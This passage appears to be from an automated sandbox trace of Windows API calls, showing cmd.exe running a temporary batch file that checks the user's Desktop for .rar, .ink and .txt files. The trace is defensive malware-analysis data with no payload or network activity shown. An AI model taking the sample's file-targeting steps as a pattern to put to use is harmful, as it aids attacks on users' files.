[0037.332] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.332] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.332] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.333] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.333] GetProcessHeap () returned 0x4e0000 [0037.333] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.333] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.333] GetProcessHeap () returned 0x4e0000 [0037.333] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.333] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.333] _tell (_FileHandle=3) returned 3668 [0037.333] _close (_FileHandle=3) returned 0 [0037.334] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.334] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.334] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.334] GetLastError () returned 0x2 [0037.334] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.334] GetLastError () returned 0x6 [0037.334] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.334] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.334] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.334] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.334] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.334] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.335] SetConsoleInputExeNameW () returned 0x1 [0037.335] GetConsoleOutputCP () returned 0x1b5 [0037.335] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.335] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.335] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.335] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.335] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.335] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.335] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.335] GetProcessHeap () returned 0x4e0000 [0037.336] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.336] GetProcessHeap () returned 0x4e0000 [0037.336] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.336] GetProcessHeap () returned 0x4e0000 [0037.336] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.336] GetProcessHeap () returned 0x4e0000 [0037.336] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.336] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d9, lpOverlapped=0x0) returned 1 [0037.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0037.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.336] GetFileType (hFile=0x74) returned 0x1 [0037.336] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.336] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.336] GetProcessHeap () returned 0x4e0000 [0037.336] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.336] GetProcessHeap () returned 0x4e0000 [0037.336] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.336] _tell (_FileHandle=3) returned 3670 [0037.336] _close (_FileHandle=3) returned 0 [0037.337] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.337] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0037.337] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d7, lpOverlapped=0x0) returned 1 [0037.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0037.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.337] GetFileType (hFile=0x74) returned 0x1 [0037.337] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.337] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.337] GetProcessHeap () returned 0x4e0000 [0037.337] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.337] GetProcessHeap () returned 0x4e0000 [0037.337] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.337] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.337] GetProcessHeap () returned 0x4e0000 [0037.337] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.337] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.337] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.338] GetProcessHeap () returned 0x4e0000 [0037.338] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.338] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.338] GetProcessHeap () returned 0x4e0000 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.338] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.338] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.338] GetProcessHeap () returned 0x4e0000 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.338] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.338] GetProcessHeap () returned 0x4e0000 [0037.338] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.338] GetProcessHeap () returned 0x4e0000 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.338] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.339] _tell (_FileHandle=3) returned 3695 [0037.339] _close (_FileHandle=3) returned 0 [0037.339] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.339] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.339] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.339] GetLastError () returned 0x2 [0037.339] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.339] GetLastError () returned 0x6 [0037.339] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.339] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.340] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.340] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.340] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.340] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.340] SetConsoleInputExeNameW () returned 0x1 [0037.340] GetConsoleOutputCP () returned 0x1b5 [0037.340] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.340] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.340] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.340] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.340] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.340] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.341] GetProcessHeap () returned 0x4e0000 [0037.341] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0037.341] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17be, lpOverlapped=0x0) returned 1 [0037.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0037.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.341] GetFileType (hFile=0x74) returned 0x1 [0037.341] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.341] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.342] GetProcessHeap () returned 0x4e0000 [0037.342] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.342] GetProcessHeap () returned 0x4e0000 [0037.342] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.342] _tell (_FileHandle=3) returned 3697 [0037.342] _close (_FileHandle=3) returned 0 [0037.342] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.342] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=3697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe71 [0037.342] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17bc, lpOverlapped=0x0) returned 1 [0037.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0037.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.342] GetFileType (hFile=0x74) returned 0x1 [0037.342] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.342] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.343] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.343] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.343] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.343] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.343] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.343] GetProcessHeap () returned 0x4e0000 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.343] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.344] _tell (_FileHandle=3) returned 3722 [0037.344] _close (_FileHandle=3) returned 0 [0037.344] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.344] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.344] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.345] GetLastError () returned 0x2 [0037.345] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.345] GetLastError () returned 0x6 [0037.345] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.345] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.345] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.345] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.345] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.345] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.345] SetConsoleInputExeNameW () returned 0x1 [0037.345] GetConsoleOutputCP () returned 0x1b5 [0037.345] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.345] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.346] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.346] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.346] SetFilePointer (in: hFile=0x74, lDistanceToMove=3722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.346] GetProcessHeap () returned 0x4e0000 [0037.346] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.346] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8a [0037.347] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a3, lpOverlapped=0x0) returned 1 [0037.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0037.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.347] GetFileType (hFile=0x74) returned 0x1 [0037.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.347] GetProcessHeap () returned 0x4e0000 [0037.347] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.347] GetProcessHeap () returned 0x4e0000 [0037.347] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.347] _tell (_FileHandle=3) returned 3724 [0037.347] _close (_FileHandle=3) returned 0 [0037.347] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.347] _open_osfhandle 